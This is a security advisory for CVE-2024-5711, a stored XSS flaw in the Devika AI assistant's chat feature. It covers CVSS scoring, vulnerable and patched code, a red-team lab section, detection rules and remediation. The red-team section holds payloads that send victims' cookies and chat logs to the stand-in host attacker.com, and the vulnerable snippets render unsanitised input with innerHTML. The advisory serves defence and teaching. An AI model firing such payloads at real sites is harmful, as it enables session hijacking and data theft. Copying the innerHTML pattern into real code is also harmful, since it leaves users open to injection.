CVE-2024-5711
Executive Summary
CVE-2024-5711 is a stored Cross-Site Scripting (XSS) vulnerability in the Stitionai Devika chat feature. The application fails to sanitize user input on both frontend and backend, allowing attackers to inject arbitrary JavaScript. This can lead to credential theft, extraction of sensitive data from chat logs and projects, and full compromise of user sessions. The vulnerability affects all versions of Devika, and no patch has been released by the vendor. The CVSS score is 8.1 (High), and the EPSS probability is 0.0%, indicating low active exploitation in the wild.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
Devika is a Python-based AI assistant project. The vulnerability resides in the chat component, which is part of the core application. No specific package manager (PyPI, npm, etc.) is involved, but the risk extends to any deployment of Devika. Users should treat the entire application as compromised until a patch is available.
CVSS Breakdown & Threat Level
- CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:L/A:N
- Base Score: 8.1 (High)
- Attack Vector: Network (AV:N)
- Attack Complexity: Low (AC:L)
- Privileges Required: None (PR:N)
- User Interaction: Required (UI:R) – victim must view the malicious chat message
- Scope: Changed (S:C) – impact extends beyond the vulnerable component
- Confidentiality Impact: High (C:H) – potential for credential and data theft
- Integrity Impact: Low (I:L) – limited ability to modify data
- Availability Impact: None (A:N)
Threat Level: High. Although EPSS is low, the lack of a patch and the ease of exploitation make this a significant risk for any organization using Devika.
Deep Dive & Mechanics
The vulnerability is a classic stored XSS. The chat feature in Devika accepts user input and stores it in a database (likely SQLite or similar). When another user views the chat history, the stored payload is rendered without proper sanitization. The attack flow:
- Attacker sends a malicious payload (e.g.,
<script>alert('XSS')</script>) via the chat input. - The backend stores the payload as-is in the database.
- When a victim loads the chat interface, the payload is retrieved and injected into the DOM.
- The victim's browser executes the JavaScript in the context of the Devika application.
The lack of input validation on both frontend (JavaScript) and backend (Python/Flask) allows this to succeed. The application likely uses innerHTML or similar methods to render chat messages without escaping.
Vulnerable vs. Patched Code
Vulnerable Code (Backend - Python/Flask):
@app.route('/chat', methods=['POST'])
def chat():
message = request.form['message']
# No sanitization
db.execute("INSERT INTO messages (content) VALUES (?)", (message,))
return "OK"
Vulnerable Code (Frontend - JavaScript):
function loadMessages() {
fetch('/messages')
.then(response => response.json())
.then(data => {
data.forEach(msg => {
// Direct injection - vulnerable
document.getElementById('chatbox').innerHTML += msg.content;
});
});
}
Patched Code (Backend):
import bleach
@app.route('/chat', methods=['POST'])
def chat():
message = request.form['message']
sanitized = bleach.clean(message, tags=[], strip=True)
db.execute("INSERT INTO messages (content) VALUES (?)", (sanitized,))
return "OK"
Patched Code (Frontend):
function loadMessages() {
fetch('/messages')
.then(response => response.json())
.then(data => {
data.forEach(msg => {
// Safe - use textContent
const div = document.createElement('div');
div.textContent = msg.content;
document.getElementById('chatbox').appendChild(div);
});
});
}
Exploitation & Lab Setup
Red Team
Lab Setup:
- Deploy a local instance of Devika (all versions) using Docker or manual setup.
- Access the chat interface at
http://localhost:5000.
Exploitation Steps:
- Send a crafted payload via the chat input:
<img src=x onerror="fetch('http://attacker.com/steal?cookie='+document.cookie)"> - The payload is stored and executed when any user views the chat.
- The attacker's server receives the victim's cookies.
Advanced Payload (Steal Chat Logs):
<script>
fetch('/messages').then(r=>r.text()).then(d=>{fetch('http://attacker.com/exfil',{method:'POST',body:d})});
</script>
Blue Team
Detection:
- Monitor for unusual outbound connections from the Devika server.
- Look for chat messages containing
<script>,<img onerror>, or other HTML event handlers. - Use WAF rules to block common XSS patterns.
Hunting:
- Search logs for requests to
/chatwith suspicious payloads. - Check database for stored HTML/JavaScript in message content.
Indicators of Compromise (IOCs)
- Network: Outbound HTTP requests to unknown IPs/domains from the Devika server.
- File: Modified JavaScript files in the Devika frontend (if attacker gains code execution).
- Log: Chat messages containing
<script>,onerror,onload, orfetchcalls. - Process: Unusual child processes spawned by the Devika application (e.g.,
curl,wget).
Detection Engineering
YARA Rule
rule CVE_2024_5711_Stored_XSS {
meta:
description = "Detects stored XSS payloads in Devika chat logs"
author = "Valters IT"
date = "2025-04-10"
reference = "CVE-2024-5711"
strings:
$xss1 = /<script[^>]*>.*<\/script>/i
$xss2 = /<img[^>]*onerror\s*=/i
$xss3 = /<svg[^>]*onload\s*=/i
$xss4 = /javascript\s*:/i
condition:
any of them
}
Sigma Rule
title: Devika Stored XSS Payload Detection
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects stored XSS payloads in Devika chat messages
author: Valters IT
logsource:
category: application
product: devika
detection:
selection:
event: chat_message
message|contains:
- '<script'
- 'onerror='
- 'onload='
- 'javascript:'
condition: selection
falsepositives:
- Legitimate use of HTML in chat (unlikely)
level: high
Suricata Rule
alert http any any -> any any (msg:"CVE-2024-5711 Devika Stored XSS Payload"; flow:to_server; content:"POST"; http_method; content:"/chat"; http_uri; pcre:"/(<script|<img[^>]*onerror|<svg[^>]*onload|javascript:)/i"; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate Actions:
- Disable the chat feature if not critical to operations.
- Apply a WAF rule to block common XSS patterns in chat input.
- Manually sanitize input by modifying the source code (see patched code examples above).
Long-Term Fix:
- The vendor must release a patch that implements proper input validation and output encoding.
- Use a Content Security Policy (CSP) to restrict script execution.
- Regularly audit the application for similar vulnerabilities.
Workaround:
- Restrict access to the Devika application to trusted users only.
- Use a reverse proxy (e.g., Nginx) to filter malicious payloads.
Valters IT